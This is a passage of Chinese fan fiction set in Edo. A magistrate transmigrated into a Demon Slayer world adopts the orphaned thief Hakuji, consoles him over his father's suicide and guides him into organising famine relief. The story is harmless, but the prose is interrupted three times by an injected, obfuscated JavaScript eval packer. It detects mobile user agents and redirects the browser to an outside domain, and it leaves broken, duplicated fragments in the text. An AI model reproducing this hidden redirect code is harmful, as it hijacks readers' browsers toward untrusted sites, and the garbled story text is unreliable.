“饿了没?我做了饭团,你先垫垫。”有妻子心疼地捧着刚刚出狱的武士脸左看右看。 “叭叭——你昨晚怎么没回家。”有小孩跌跌撞撞地往武士怀里冲,后被一把抱起架上肩头。 狛治面无表情地穿过人群往外走。 穿过那些聒噪的,恼人的声音。 然后在人群的尽头,看到了白城。 白城的周身围着幕僚和捕吏,像是在交代什么事情。 狛治扫了一眼,没有停留,只是往外走。 等白城抬头的时候,小孩已经走远了。 白城摸了摸袖子里特意塞的一块饭团,不由得哑然。 “大人?怎么了?”五条看白城有些走神。 “没事。”白城轻轻摇头,“你继续说。” “最近城里上报的盗窃案越来越多,但凶手却始终不见踪影,我怀疑这是有预谋的组织性犯罪。”五条皱眉,“而且有人目击者举报说犯人个子都不大,像是小孩。” “继续调查吧,有新线索再来汇报。” 想来接的人已经走了,白城也不再原地停留,带着幕僚往町奉行所里去。 “是。” 再见狛治是当天下午。 五条幕僚进来,顺便把手里洗的干干净净的饭盒交给了小黑。 “饭盒哪来的?”白城注意到了。 “您上次席间不是给那个鬼崽子送了一份饭吗?我进来的时候看鬼崽子跟门口的守卫都要打起来了,就顺便帮他送进来了。” “他人呢?” “走了吧。”五条到书案前坐下。 白城有点被气笑了。 这些天,他怎么问系统——技能怎么使用,系统都不回答。 眼看30天的血色倒计时越来越近,再不跟狛治接触找到更多线索,估摸着30天后就会被无惨找到干掉。 “把人叫回来。”白城吩咐五条。 刚刚坐下的五条讶然抬头。 “我找他有事。” 上司一句话,下头跑断腿。 提着袍裾往外追的时候,五条就在骂这个鬼崽子怎么走得这么快。 好在在分岔路口逮到了人。 “奉行大人有事找你。”五条气喘吁吁地去抓狛治的肩膀。 还没搭上就被抓住了手腕。 狛治侧头看他。 五条有些厌恶地把手抽了回来,理了理袍子,面色倨傲,“跟我走。” “滚。”狛治头也不回,留五条一个人在原地瞠目结舌。 狛治怎么也没想到,奉行会追到家里来。 哗啦—— 门被人拉开了。 躺在地板上还没扭头,鼻尖就闻到一股檀香,而后视野里闯进了纯白的袍子,雪白的发尾像光一样整个照亮了昏暗的屋子。 “见你一面倒是难。”白城声音温润。 狛治一个翻身坐起来,“你来干什么?” 后觉语气生硬,便不说话了。 “五条叫不动你,所以我来了。”白城收起了折扇。 “我以为他是唬我的。”他起身想给奉行接杯水,“您找我有事吗,饭盒我已经叫幕僚还给您了,衣服也已经交给捕吏了。” 可打开木箱,发现里面只有父亲喝药的碗。碗底常年被药渣浸着,都有些泛黑了。 嘴唇抿了抿,狛治又把箱子合上了。 狛治的家很小,屋内逼仄,三面墙壁,举目墙皮都脱落的不成样子,唯有进出的推拉门透着屋外的天光。 一个铺在中央的床褥,一个放在床尾的木箱,就把屋子填得满满当当,只留了一个人走路的过道,白城走进来,甚至觉得呼吸都被压抑住了。 “你父亲呢?”白城明知故问。 “死了。”狛治生硬回答,甚至扯出了个恶意的笑,“就吊死在你现在站着的地方。” 说罢又有些后悔,于是闭嘴。 “我可以打开看吗?”白城并不介意,自顾自地走到箱子面前。 这是狛治他们家,唯一一个可以储物的地方。 狛治没有说话,白城便当他允许了。 木箱不重,是周边常见的杉木板拼的,边角用钉子钉得死实,岁月磨得木纹发灰。 打开扑鼻就是药香,一包包用麻袋或纸包的甘草药按照不同类别整齐地被收纳在箱子里,旁边是叠好的旧布衣。 “贵吗?”白城把药一包包拿出来,分辨品种后又放了回去。 除了最基本的艾草芦根之类的草药外,还有纸包的一小撮药研成的粉末,甚至还有特别昂贵的丸药。 白城打开纸包嗅了嗅,大多是甘草粉,用于止咳的。 狛治就坐在床褥上看他,一语不发也不拦。 “很贵吧。”白城轻叹,把药物重新包好,放了回去。 “草药是我自己摘的,散剂五文一袋,没什么作用。” “能让父亲身体好些的只有那个丸子。”狛治声音平淡,“3两9文,一包十粒,省着也不过吃二十天。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543972|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以才去偷钱吗?”白城问。 “一两是四千文。” “凌晨爬起来送豆腐,一天3文;帮人挑粪水下肥,一天1文;如果撞上有木匠要送打好的家具,从城南背到城北,多的时候能赚3文。” 近乎残忍的数字。 “我不能看着爸爸去死吧。” 白城扭头看他。 小孩盘腿坐着,面色很平静。 “爸爸越来越瘦,后背上的骨头都快戳破皮肤了。” “挨打的时候,捕吏每一次每一次都重复着一样的话。” “烦得像是恼人的苍蝇,嗡嗡嗡嗡让我好好工作。” “可钱根本不够啊!药很贵啊!” “我只是想把父亲治好,我有什么错?” “我从早上就出门去送豆腐,忙到凌晨回家,钱还是不够啊!” “那些该死的武士一顿饭就能吃掉父亲好几天的药钱。” “我偷又有什么错?” “穷人连活下去都不被允许吗?” “受的偷窃的刑罚根本不重,就算被鞭子狠狠抽打,就算骨头被打断,我都能忍受。” “爸爸根本不是累赘。” “他又为什么要道歉呢?” “我根本不在意这些,偷也好抢也罢,我只想要治好爸爸,哪怕死了都没关系。” 狛治走到白城面前,抓住了他的袍子,蓝色的瞳孔裂到最大,仰头问他,“可他为什么……” “为什么要道歉呢?明明爸爸什么都没有做错。” “为什么会死呢?明明他连一只蜘蛛都舍不得杀。” “又为什么要丢下我离开呢?明明我一点都不觉得苦,明明我还能继续忍受下去,忍受到长大,忍受到我死的那一天为止。” “你能告诉我吗?为什么?” “为什么他会自杀!” “为什么当时,我不在他身边!” “为什么我连父亲的最后一眼都没见到!” “明明早上出门的时候……出门之前,他还好好的摸了我的脑袋啊!” “为什么!” “为什么啊?” 他才11岁,一米五的个头,眼眶里没有眼泪,仰头看向白城的蓝色瞳孔里,痛苦近乎满溢出来,眼底尽是不解的疑惑。 “因为他爱你。”白城抬手,轻轻落在狛治的头上,“就像你爱你父亲,愿意为了他去死一样,他也爱你。” 狛治茫然抬头。 “所以才一直道歉,才克服了对死的恐惧,才不舍得你再为了他继续忍耐下去了。” “可……忍耐有什么不对吗?人生下来不就是来忍耐的吗?我还可以继续忍耐下去,只要父亲还在我身边。” “他又怎么舍得坐在病榻上,看你早出晚归去给人挑粪去受尽冷眼。”白城蹲了下去,半跪在地上,捧着狛治的脸蛋,跟他对视,“没能让你拥有一个无忧无虑去玩耍的童年,他一定很自责。” “他从来都没有抛下过你。” “他很爱你。从始至终,都很爱你。” “你已经做得很好了,父亲一定是感激狛治的。” 是的,一定是因为感激而愧疚。 而不是觉得狛治偷窃,责怪他让家族蒙羞。 白城掌心的温度沁入皮肤,就一瞬,短短的一瞬,豆大的泪珠从眼眶里溢出,然后就一颗接一颗连成串地往下砸。 狛治听到白城说—— “这不是你的错。” “是这个社会的错。” 5. 迷惘 阴雨连绵的天。 狛治跟着白城走在木质长廊里。 “看你睡着了就自作主张把你抱回来了。” 花费了系统1点能量值。 狛治抱着白城哭睡着的时候,系统颁发了奖励,抠门得要死,但白城花得大方。 “小黑照着你的身量,给你做了几件衣服,不过还要过几天才能穿上。”白城施施然走在前面,“这段时间就跟我生活在一起吧。” “你还没告诉我你的名字。” 狛治一言不发地跟着。 “公事方御定书和审讯笔录上确实都有。”白城并不介意,推开了书房的门,扭头看他,“不过我想听你亲口跟我说。” 闷葫芦嘴唇抿得死紧。 白城只当他害羞,把手上的烛台放好,研磨提笔,在和纸上落下“白城”二字,“我的名字。” 字迹清瘦而劲挺,结构周密暗藏锋芒。 哪怕狛治不识字都知道这书法功力,非朝夕能成。 “我叫白城。白天的白,城池的城。”将毛笔挂上,白城捻起纸晾了晾,递给狛治。 狛治默默接过和纸,还在仔细看墨迹在纸上晕染的模样,下一秒就被清瘦的手把头发揉得乱糟糟的。 狛治皱着眉抬头。 意外对上奉行大人笑得弯弯的眉眼,以及难得有些孩子气的评价,“像个鸟窝。” 狛治微微扩大的瞳孔里倒映着奉行的影子。 事实上狛治的头发像他的脾气一样刺挠地有些扎人。 白城不着痕迹地揉了揉自己的掌心。 “等你想告诉我的时候,”白城指尖轻点这张纸,“还我一张写着你名字的字吧。” “小黑,带他去他以后的房间看看。” “我这边还要处理一点事情。” 小黑应是,“这边走。” 狛治下意识地跟着小黑走,好一会才回过神,跨过门槛才扭头蓦地问他,“你要我做什么?” “你能做什么呢?”白城视线从卷宗上挪开,抬头看向门外的狛治,“有什么你擅长的事情吗?” 狛治垂眸。 擅长? 自己人生的前十一年有什么擅长的事情吗? 手很快,擅长偷窃。 恢复很快,擅长打架。 都不是什么对奉行有用的技能,唯一值得拿出来说的,便是擅长照顾病人吧。 但……狛治的视线又落在小黑身上。 小黑眼观鼻,鼻观心,并不跟他对视。 小黑是贴身随侍,平日里奉行起居内务大大小小的事情都是他在负责。 贴身近侍往往是奉行的家臣子弟,贴身心腹,远不是自己这个罪人能够担得起的。 白城并不需要自己的照料。 他不算健康,却并不弱小。 狛治清晰地知道这一点。 “不急,慢慢想吧。”白城给自己添了点茶水,“你还小,有的是时间去慢慢思考。” 思考什么呢? 什么叫思考呢? 狛治第一次感受到无所事事的困惑。 记忆里,这是他第一次不用在鸡还没鸣叫之前出门干活,第一次不用为中午吃什么而发愁,第一次不用想着爸爸的医药费该怎么办。 吃饱,穿暖,喝足。 奉行所的一切都比曾经好上太多。 他第一次意识到原来生活可能并不需要忍耐。 可当身体的一切基础需求开始满足,他开始生出些虚妄的迷惑来,他的灵魂好像开始叫嚣些什么,但他不明白。 这里没有需要自己保护的人。 狛治感受不到自己存在的意义还有价值。 白城把他的一切困扰看在眼里,却并没有多加干涉。 迷惘很好打散,只需要让他去素流道场见到恋雪,少年的迷惘便能烟消云散。 可白城不想,也不愿这么做。 他不愿意狛治再回到那个通过忍耐自己,照顾一个人,从而感受到自身价值的循环里去。 他想要狛治真正思考——他真正想做什么。 想成为什么样的人?做成什么样的事? 想要少年靠自己重新拾起被生活压在地底打碎搅烂了的骄傲和尊严。 迷惘是灵魂的试金石,虽然痛苦,但在进步。 至于素流道场他会让狛治去的,但不是现在,至少还不是没养成少年心气的现在。 少年理应脚踏七彩祥云,身披金甲圣衣,去见心爱的人吧。 正午了,天上乌云密布不见天光。 狛治感觉时间到了,从柜子里翻出之前盛鳗鱼饭的餐盒,叼着根不知道从哪来的狗尾巴草往厨房去。 如果奉行大人不叫自己一起用膳的话,那群侍从是不会提醒自己的。 但他也不介意。 厨娘虽然不会跟他说话,总是站在旁边打量自己,但每餐还是照常备着。 对狛治来说,有的吃就行,旁人的眼光也不甚重要。 今天没出太阳,进厨房的时间掐早了。 仆役们正好在分饭的时候,厨房里热闹得很。 狛治提着刚劈的干柴随手放到柴堆里,而后面不改色地往灶台那里去,所过之处鸦雀无声。 厨娘掌着大勺正在分餐呢,抬头撞见他过来了,一怔。 狛治看着一排排等待分餐的空饭盒,知道还没轮到自己的。 他把自己的饭盒放到角落里,嘴里叼着的狗尾巴草挑了挑,便往后门去了。 方一出门,背后就出现细细簌簌议论的声音。 一群苍蝇,吵死了。 狛治坐在门槛上仰头看天,但天也没什么好看的,最后盯着檐下的积水,雨滴一连串地砸进去,荡起一层又一层的涟漪。 “欸……” 有人拍了拍自己的肩膀。 狛治抬头。 厨娘有些局促地擦了擦手,手里捧着狛治的专用饭盒,“你的饭。” 狛治有些意外地接过,往灶台边瞟了一眼,明明还有很多空饭盒在排队。 “你劈的干柴都很好用,一点就着。”厨娘挤出一个笑来。 “谢谢你。” “多加了个鸡腿。”厨娘小声,“趁热吃,以后不用最后来,都凉了。” 分明当时平静无风。 可少年兀地睁大了眼。 热度从木壁上透进捧着饭盒的掌心。 温温的,烫烫的。 狛治坐在门槛上吃完的那一顿饭。 吃得很慢,筷子夹干净最后一粒米的时候,厨房的侍从都离开了。 饭盒盖上一瞬,头顶的天——亮了。 狛治挽起袖子,将米糠揉在碗壁上搓净,青色的经络顺着少年的腕骨蜿蜒至精瘦的小臂,正午的第一缕阳光破云而出,照在亮晶晶的水洼上,折出七彩的光来。 洗净自己的碗后,他默默在厨娘身后站了一会,“我可以来帮忙吗?” 厨娘惊讶回头。 “大铁锅,我可以洗。”狛治指了指,而后有些局促地收了回来。 “太谢谢你了!”厨娘惊喜,满面笑意做不了假,“这锅又大又重,每次我都得转着洗,不然擦不干净里面。” 狛治接过木糠,三条环形的刺青随着动作露了出来,他用手一点点地用木糠顺着锅壁清洗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543973|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 厨娘给他搬了个凳子,“踩上去,高一点会更方便。” 狛治仰头看她,“谢谢。” 有些拗口,所以声音很小。 “不客气。”厨娘沾着水的掌心拍了拍少年的肩膀,“好好加油哦!” “嗯/。”狛治垂眸,很仔细地擦着锅壁的每一个地方。 …… “太干净了!你洗得特别好。”厨娘验收完锅,非常高兴,而后悄咪咪地从兜里掏出一块小小的方子来,“谢谢你来帮助我。” “要是我家的小孩也像你这样就好了。” 狛治的嘴唇无意识地张开,这是他第一次听到有人说他好。 明明鬼崽子,扒手,罪人叫得更顺口些吧。 “这颗糖是之前奉行大人过年时给我的,一直留着没吃,你尝尝看。” “我家小孩可爱吃这个了,每年过年的时候得到了糖,都跟仓鼠一样囤着,算好一天吃多少。” 狛治低头,方块晶莹微黄,仿佛光也能透过去。 他迟疑地送入口中,舌尖一触,甜味便化开了。 轻柔得像雪,温润甘甜,四面八方铺在口腔每一个角落。 “好吃吗?”厨娘正在洗剩下的餐盒,没有看他。 狛治怔怔抬起眼,这是他第一次尝到饱腹以外的滋味。 蜜一样,流到心底里去了。 “好吃,谢谢您。” “嗐,没事。”水桶里的水碰在壁上哗啦啦得响,“这些天一直下雨,好多柴都不能用,点不着,每次就你的柴都干的,特别好用。” “他们啊,都该谢谢你才对。” “没事的。”狛治看着自己手臂上的刺青,“您喜欢就好。” 出门的时候,天又下雨了。 狛治哒哒哒穿过后院,从自己屋里拾起一把红色的油纸伞,撑开往雨里跑。 白城的书房离狛治的屋子不远,此刻抬着的窗户一眼就能看见少年的模样,“最近他跟下面的人相处的怎么样?” 小黑思考了一会,“不太好。” “您就这么放着他在那种环境下生存吗?” 这些天,奉白城的命令,小黑在教狛治识字,对他改观不少。 “他跟你们不一样。”白城的视线从少年被泥水打湿的裤脚上收回,“习惯忍耐,没那么脆弱。” “是个强大的孩子呢。” “他能处理好这一切的。” “能靠自己赢得所有人的尊重,相处了这么些天,你也应该相信他才是。” 相信少年是火,风一吹,便能燎原。 狛治举着伞,跑到了父亲的坟边。 耳朵和肩膀夹着雨伞,蹲下身用刷子祛了一遍石头上新长的苔藓和污垢。 湿漉漉的掌心贴着石头,自言自语道, “今天厨房的大娘送了我一颗糖。小小的,方形的。可惜没能让你尝尝,很甜特别甜,入嘴就化了。” “她跟我说谢谢,还对我微笑,她说我劈的柴好用。” “嗯……其实我也没做什么。” “热饭还是比冷饭好吃。” “我在奉行的公馆里住得挺好的,有饭吃,有新衣服穿,奉行大人很温柔,小黑大人也是。” “小黑大人前段时间开始教我识字,他说我识字的进度很快,前些天还比划说我长高了。” “他说我正是抽条的时候,要多吃点。” 他一遍又一遍地擦着石头,直到扛着伞的肩膀都有些麻木了,才看着石头上父亲的名字,怔怔问了一句, “爸爸,怎样才算堂堂正正地活下去呢?” 淅淅沥沥的,雨还在下。 6. 成长 “我啊,也有个孩子。” 厨娘提着桶水在前头走,狛治抱着一捆柴跟在她身后,雨水顺着屋檐哗哗往下流。 奉行公馆里真正接纳他的人不多,奉行算一个,小黑老师算一个,但他们都很忙,现在厨娘也算一个。 锻炼和识字的空隙,他就会来厨房帮工。 “当年逃荒的时候走散了。”厨娘轻叹一口气,“要是长大了,应该跟你一般年纪吧。” 狛治蹲在灶下拿着火箸拨开昨晚留下的灰烬。 取出一撮稻草扭成团,塞进去再压上几根细柴,打火石擦出火花,风吹旺了,便熟练地添上几根劈柴。 木头迸出清脆的爆裂声,灶膛里逐渐亮起温暖的红光。 “要是能跟你一样长大就好了。”厨娘看着他的手臂上的刺青,“要是能长大……就好了。” 到饭点的时候厨房早就排满了队。 狛治跟厨娘一人一个大勺在给空饭盒里添饭。 一群人紧张兮兮全神贯注地盯着台面,等待菜品准备好了,一群人便宛若猛虎下山一般,势如闪电探向先前就锁定好的几个饭盒。 “哈哈哈今天我抢到了幸运的午饭!” 厨娘亲手打的饭很快从台面上清空,剩下的饭盒三三两两地摆在那,仆役们愁眉苦脸地伸手去取。 “怎么又只剩下鬼之盒饭了……” “手又慢了,拿到了不详的饭wuwuwu” “怪不得我今天被小黑大人骂了。” “我已经一个礼拜没有抢到正常的饭了呜呜呜。” 狛治站在锅边的凳子上盯着愁眉苦脸哀嚎的那人。 对上视线,那人默默噤声,而后调动面部的全部肌肉,挤出一个生硬的笑来。 今天做的是麻婆豆腐,锅底还剩下一些。 狛治把最后的豆腐捞进自己的饭盒里,从凳子上跳下来,坐在后门门槛吃。 厨娘虽然有邀请过他去自己那桌吃,但他拒绝了。 但哪怕不坐在屋里,也能听到细碎的声音—— “鬼之子的眼神好可怕。” “他刚刚好像还瞪了我一眼,呜呜呜呜,吓到我了。” “他命真好,一个罪人怎么能得到奉行大人的青睐。” “你说他特意来厨房帮忙,会不会是想来偷吃啊!” 一天天的,只会把这些话翻来覆去地说。 狛治扒干净盒饭,扭头就去锻炼了。 厨娘也能听到这些话,每次饭后都一脸歉意地看他,后来他就不留下来收拾了。 雨水哗啦啦一连下了好多天,就连坐落于江户中央的町奉行所堂下都有没过脚踝深的积水,暴雨近乎摧毁了江户的排水系统,田地里的庄稼更是损失惨重,就连平日里喝酒打诨的捕吏也步履匆匆。 厨房刚到了应季的山楂,白城空闲的时候亲自做了点糖葫芦。 找到狛治的时候,他正半立在屋檐下,伴着雨声练拳,一拳轰出,裹着强劲气流,就连空气都默了半分。 方方走到拐角,狛治便轻轻呼出一口气,收了拳势扭头看来,“奉行大人。” “糖葫芦,吃吗?”白城走到他身边,嘴里正好咬下一口,把另一根糖葫芦放在他嘴边。 狛治动了动鼻子,甜味裹着一丝密密的酸,被湿润的空气浸着。 他有些疑惑,又抬头望了眼白城。 “不爱吃甜食?”白城举着糖葫芦晃了晃。 狛治接过,“没有……” 少年试探性地用舌尖舔了舔,发现是甜的,犬牙噗得咬碎外层的糖衣,嘎吱嘎吱脆,而后被内里的山楂酸得小脸皱成一团,“这是什么?” “糖葫芦。”屋外在下雨,白城这些天忙得脚都没沾过地,心烦意乱干脆在狛治身边坐下,“好吃吗?” “还行。”少年摸了摸自己的牙齿,揭下粘在上面的糖,犹豫了一会又咬了一口。 “里面有籽记得吐。” 白城开口的时候,已经听到硬籽嘎吱一下被咬烂的声音,小孩砸吧砸吧嘴,喉咙一滚就咽下去了。 “你说什么?”小孩迷茫。 “有籽,要吐。” “噢。”狛治舔了舔外层的糖壳,而后一口咬下,被山楂酸得面部扭曲,犹犹豫豫,吞咽口水,如此反复。 “小黑老师说你最近上课心神不宁的,在想什么?”白城在他身边靠着柱子坐下。 “没想什么。”狛治吃完最后一口糖葫芦,撑得腮圆滚滚的,抬头望碧瓦飞甍之外的高墙。 “这雨一连下了好多天。”白城也看着大雨滂泼的庭院。 “嗯,要饿死很多人。”狛治轻声应着。 “要不要出门去看看?”白城问他。 狛治垂眸,狭长的羽睫遮了瞳色,“没什么好看的。” “水灾,饥荒,流民……瘟疫。” 狛治很熟悉。 “那就陪我去看看吧。”白城摸了摸他的头发,“正好我也待烦闷了。” 江户本就处于低湿地,城区四处都涨水,白城不熟练地弯下腰卷起和服下摆,狛治干脆蹲下身三五下便帮他卷好了。 “谢谢。”白城摸了摸鼻尖,作为现代人不擅长卷这种衣服下摆也是正常的吧。 狛治利落地卷好自己的袍子,“雨天木屐会滑,小心一点。” 白城撑起一把大伞,走到廊下,回身向他伸手,“牵着我吧。” 狛治:“不用,我自己可以。” 白城:“我需要。” 小手握上大手。 城里的水没过了小腿肚,抬脚的时候木屐摇摇晃晃,仿佛随时会被流水冲走,町屋和町屋之间用高脚木板连着,充当暂时的桥梁。 白城走得很慢,狛治倒是如履平地,亦步亦趋地牵着白城的手在前面探路。 路上行人匆匆,寺庙和桥上有大量无家可归的流民聚集,他们的房屋刚刚被洪水冲垮,一路流浪到这里。 “去桥上看看吧。”白城说。 “好。” 木屐踩一脚水就溢出来发出嘎吱嘎吱的响声,桥上密密麻麻坐满了流民,打着伞或是披着蓑衣,赤着脚挽着裤腿和衣袖,半垂着头靠在桥边休息。 “为什么在这?”白城跟一个流民简单聊了聊。 “寺庙都满了,挤不进去。”那人白了白城一眼,从头到脚扫了眼他的衣服,背后啐了一声。 狛治皱眉,想说些什么,被白城拦下了。 “嘭。”远处一个身高不足一米三的小孩低垂着头,形色匆匆地打两人身旁过,肩膀撞了狛治一下。 “没事吧?”白城扶住了狛治的身子。 狛治死死扣住了小孩的手腕,而小孩手心里赫然抓着白城送给狛治的小钱袋子,上面绣的白兔子眼睛红红的,很可爱。 “干什么!干什么!你放开!”小孩尖叫,声音尖细,是个留着短发的女孩,“救命啊!非礼啦!” 狛治空闲的左手直接一把捂住那人的嘴巴,蓝色的瞳孔像野兽一样四周巡视了一圈。 流民不过抬头看了眼,而后又垂头休息,这雨不知要下多久,谁都不愿意浪费体力。 狛治二话没说,不知摁了那个小孩哪条经络,小孩直接手一麻,钱袋就落到狛治手心,他问白城,“怎么处理?” “放开吧,我问她几句话。”白城看着小孩的手腕都被狛治抓红了。 “不要跑,你跑不掉。”狛治眯眼,轻声威胁了一句。 那小女该眼轱辘一转,满脸谄媚的笑,疯狂点头,“绝对不跑。” 狛治刚一松手。 小女孩拔腿就跑。 下一秒就被狛治乖乖押了回来。 狛治一把把人推到白城面前,堵在她身后,重新把钱袋放回衣服内袋,嘴上嗤笑了一声,像是在嘲讽她不娴熟的技术。 “老爷,我不是故意的,我实在是太饿了。”小女孩可怜兮兮地哀求,“我三天没吃饭了。” “町奉行所和寺庙不都联合设立了粥场吗?”白城皱眉。 “像水一样,根本吃不饱。”小女孩肚子应景地叫了两声,“而且我没有陶碗,只有路上捡的碎瓦片,根本盛不了多少,妈妈还生病了……” 狛治耳朵动了动。 “你觉得应该怎么办?”白城问狛治。 狛治明显不解。 “抓回去受罚?”白城询问。 “好。”狛治当即应了。 “那你把她押回去。”白城轻笑,“我去前面的寺庙跟方丈聊聊。” 白城高挑的身影慢悠悠地从桥上流民间穿过。 留下狛治跟那个小孩留在桥上。 “押回哪?”小女孩怯生生地问。 “町奉行所。” “会怎么样?”小孩担忧。 “第一次受五十鞭刑吧。”狛治掀了掀眼皮,“死不了。” 小女孩的眼泪欻地就下来了,“我受伤了,妈妈怎么办?” “我还要给她去买药。” 狛治嗤笑,“受了刑也能买药。” “妈妈看到……会伤心的。”小孩扯住狛治的袖子,“求求你了,大人,放我回去吧。” 狛治不语,只是押着她往前走。 她很矮,只有一米二多,瘦骨嶙峋,手腕很细,细到一捏就会断掉。 这样的身体根本熬不下五十鞭,十鞭,最多十五鞭下去就再也爬不起来了。 十字路口,被撬开的水井在路中央形成了一个巨大的漩涡。 “自己走。”狛治松开手。 “往哪走?”小女孩问路。 “?”狛治一边眉头压下,一边挑起来,不理解怎么会有这么笨的女人。 小孩也是立马反应过来,拔腿就往巷子里拐,生怕狛治反悔,“谢谢大人,大人您真的超帅!” “慢着。”狛治叫停她。 女孩脚步没停,边跑边扭头看他。 狛治从口袋里掏出一个饭团来,远远抛给她。 小女孩虚空一握,便把饭团抓在手里,高举在空中挥了挥,朝他扬了个笑来,“谢谢!” 等白城跟方丈谈完出门的时候,发现狛治半倚在寺庙门口的棕色漆柱上,手里把玩着两枚铜钱,心不在焉的模样。 “怎么来接我了?”白城站到狛治身边。 抛在空中的铜钱被一握抓住,狛治扫了眼旁边的方丈。 方丈跟他行了个礼。 他愕然直起身体,像模像样地回了个礼。 “没什么,就来接你回去。”狛治说。 回去的路上,狛治明显有些心不在焉。 “人放走了?”白城了然,不忍心再逗他。 狛治愕然抬头,而后闷闷应了,“嗯,给了个饭团放她走了” 他肚子里打了很多草稿,用来回答白城为什么放她走,做了心理准备承受白城的怒火。 谁料白城问:“饭团?” “随身总会带一个。”狛治抓着白城袖子的手蜷缩一下,“饿肚子……难受。” 哪怕现在住在奉行公馆,狛治身上也时刻备着饭团和银两。 暂住的屋子里除了被褥枕头衣物水杯外,再没额外添置什么小物件。 回了奉行所,狛治替白城收了伞,擦干脚,跟白城进了里屋便半跪在地上,“人我放走的,鞭刑我替她受,可以吗?” “你倒是能耐。”白城眼神晦暗,“你替她受了刑,然后呢?” “她放在外面,难道不会继续偷窃吗?” 狛治垂头不语。 白城走到他身边,抬起他下巴,“刑罚不是目的,不再偷窃才是。” 狛治不看白城。 “怎么将功折罪?”白城轻叹一口气,“我把你接回来,不是让你回来继续受鞭刑的。” 狛治不解。 “今天出城看到了什么?” “水患,饥荒。”狛治肯定。 “怎么看出来饥荒?”白城问他。 “平日里大米40~60匁银一石,今天市面上的价格已经翻了八倍。” “观察得不错,所以那个女孩才会偷窃。”白城提点他。 狛治握拳不语。 “怎么将功折罪?”白城问他。 “任凭您处置。”狛治说完这句,便沉默了下来,过了会又补了嘴,“我心甘情愿。” 白城有些无奈地叹了口气,“今天寺庙门口支了什么?” “临时粥场。” “几口锅?” “五口。” “够分给多少人吃?” “1500-2000。” “城中流民有多少?” “数万不止,城外还不断有流民涌入。” “你该做什么?” 明明先前的对白都流畅万分,但引导到这一句,狛治又不说话了。 白城也不语,只是坐在案边静静望着他,“狛治,你是谁?” 狛治默了很久,“一个罪人,得了奉行大人垂怜。” “不,你是我的孩子,江户奉行收养的,唯一的孩子。”白城走下来,掐住了他的下巴,强迫他抬头看向自己,“在其位,谋其政。不管你曾经犯过什么罪,是不是罪人,现在你是我的孩子,就要站在奉行之子的身份来考虑问题。” “我再问你一遍,你该做什么?” 狛治怔愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543974|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着他。 白城放缓了语气,“或者你觉得奉行现在该做什么?” “开仓放粮,设立粥场。”狛治一字一顿,没有辜负白城的期待。 “聪明的孩子。”白城笑了,修长的手指揉了揉他的头发,“将功折罪?嗯?” “我去办吗?”狛治依旧有些犹豫,“我没什么经验。” “我在,小黑大人在,还有府上的幕僚,他们都在。”白城告诉他,“不会随时可以问。” “能做到吗?” “能。” “嗯,我相信你。”白城轻笑。 狛治真正去着手落实开仓放粮的时候,才发现一切顺利得不像话,一看就知道白城一早就安排好了,万事俱备,只待自己接下这件事,而后推行下去。 他图什么呢? 事无巨细地安排好一切,只差临门一脚之际,让我去落实这件事。 就像是……把所有的功绩都让给我那样。 狛治根本不敢细想。 这份恩情太重,重到狛治光是想想就打了三四个激灵。 奉行愿意把自己收留在府上,他已感激不尽,能够拥有改过自新的机会,能跟着小黑大人读书识字,在他看来已经像做梦一样了。 可奉行大人却说自己是他的孩子…… 他说——在其位,谋其政。 狛治一时间有些喘不过气来,这是他第一次被人如此重视。 第一次有人,手把手地告诉他,未来怎么走。 第一次有人,亲力亲为地替他铺出一条康庄大道来。 第一次有人,告诉他——原来我还有未来。 狛治从来没有想过未来,自从刻上墨刑的那一天,他就知道自己一个罪人没有未来。 他再也不会拥有正常的工作,再也不能像正常人那样赚钱娶妻生子,再也过不上平淡而幸福的日子。 偷摸苟且碌碌终生,一辈子都没法堂堂正正地活下去,一辈子都要辜负父亲的夙愿。 这才是我该有的人生。 “狛治大人,十五口锅是不是有点多了?”町奉行所的下人忙忙碌碌地把铁锅往门外运。 狛治回神,“不,正好。” 今天难得放晴,十五口大铁锅,一字排开,临时支在町奉行所门外。 一斗米,十桶水,白色的米粒只能在锅底铺出薄薄的一层,米汤稀得能映出人影,但比起周边寺庙施的粥已经稠了不止一星半点。 町奉行所施粥的消息狛治一早就派人放了出去,之前偷窃的小姑娘也被他抓了回来做劳役,每天下班都能领到一碗米饭带回去跟妈妈分着吃。 虽然辛苦,但是自食其力。 锅边天还没亮就排起了长队,日雇工人,长屋贫民、寡妇、孤儿、老人、灾民、流民,密密麻麻一眼望不到头。手里多捧着个碗,木碗、漆碗、竹碗、铁罐、还有瓦片拼凑起来的陶碗,狛治很熟悉。 